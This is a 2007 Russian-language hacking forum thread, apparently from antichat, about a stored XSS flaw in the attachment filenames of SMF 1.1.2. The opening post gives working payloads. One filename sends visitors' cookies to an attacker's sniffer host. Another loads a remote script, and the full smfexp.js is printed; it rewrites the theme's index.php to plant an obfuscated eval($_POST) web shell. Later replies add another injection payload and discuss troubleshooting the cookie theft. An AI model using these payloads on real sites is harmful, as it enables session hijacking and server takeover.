Форумы [ Active-XSS in SMF ]

Discussion in 'Уязвимости CMS/форумов' started by Cenarius, 14 Jun 2007.

  1. Cenarius

    Cenarius Member

    Joined:
    11 Oct 2006
    Messages:
    5
    Likes Received:
    72
    Reputations:
    100
    Active-XSS in SMF

    SMF Active XSS
    (current version 1.1.2)

    Отсутствует фильтрация atachment filename

    Способы эксплуатации:
    • 1. Получение cookie
      Создаем сообщение и прикрепляем к нему файл со следующим имененем:
      (работает во всех браузерах)
      Code:
      attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47sniffsite.com&#47s.gif?'+document.cookie>.txt
      (в адресе sniffer'a все / заменяем на &#47)
      Получаем cookie

    • 2. Получение web shell'a
      Создаем сообщение и прикрепляем к нему файл со следующим имененем:
      (работает во всех браузерах)
      Code:
      name<img src=. width=1 height=1 onerror=javascript:var&#32s=document.createElement('script');s.src='http:&#47&#47site.com&#47smfexp.js';document.documentElement.firstChild.appendChild(s);>.txt
      (все / в атрибуте src заменяем на &#47)
      Это код простейшего динамического загрузчика скриптов
      http:&#47&#47site.com&#47smfexp.js - адрес загружаемого скрипта
      smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell

      smfexp.js:
      Code:
      /*
              SMF Active XSS Exploit by Cenarius
              Email: [email protected] | Icq: 100732
      
              Adds shell to index.php of default forum's template
      */
      
      var shellCode = "<?php\n\n";
      shellCode += "// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
      shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n";  // @eval($_POST['cd']);
      shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
      shellCode += "   include (dirname(dirname(__FILE__)) . '/index.php');\n";
      shellCode += "else\n";
      shellCode += "   exit;\n\n?>";
      
      sendRequest("index.php", null, "GET", getSesc);
      
      function getSesc(request) {
          var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);
      
          if(sessVerify) {
              sendRequest(
                  "index.php?action=theme;th=1;sa=edit",
                  "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
                  "POST", null);
          }
      }
      
      function sendRequest(url, data, method, onLoadFunc) {
          var request = createHttpRequest();
      
          if(request) {
              request.open(method, url, true);
              
              if(method == "POST") {
                  request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }
      
              if(onLoadFunc) {
                  request.onreadystatechange = function() {
                      if(request.readyState == 4) {
                          onLoadFunc(request); }
                  }
              }
              request.send(data);
          }
      } 
      
      function createHttpRequest() {
          var httpRequest = false;
          try {
              httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
          catch(e) {
              try {
                  httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
              catch(e) {
                  try {
                      httpRequest = new XMLHttpRequest(); }
                  catch(e) {
                      httpRequest = false;
                  }
              }
          }
          return httpRequest;
      }
      
      // EOF
      
      По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
      index.php будет содержать следующий код:
      Code:
      @eval($_POST['cd']);

    Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
    Code:
    new Image().src='http://sniffsite.com/s.gif?'+document.cookie;
     
    #1 Cenarius, 14 Jun 2007
    Last edited by a moderator: 12 Jan 2008
    20 people like this.
  2. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Html Injection

    Code:
    <body onload=document.write(String.fromCharCode(Some char values...))>1.txt 
    :) also on 1.1.4
     
    1 person likes this.
  3. WeekTorr

    WeekTorr New Member

    Joined:
    1 Feb 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47old.antichat.ru&#47cgi-bin&#47s.gif?'+document.cookie>.txt

    Делаю аттач, сообщение успешно добавляется на форум. Отображается что к сообщению прикреплен файл default.htm Вот такого вот содержания

    Собсно и все.. в логе снифера при этом не появляется ни одной новой записи. В чем причина?
     
  4. Xack-Zero

    Xack-Zero Member

    Joined:
    2 Dec 2006
    Messages:
    106
    Likes Received:
    31
    Reputations:
    0
    У меня, когда переименовываешь файл, ругается на двоеточие, пишет нельзя делать имя файла с такими символами. Извините за архиологию.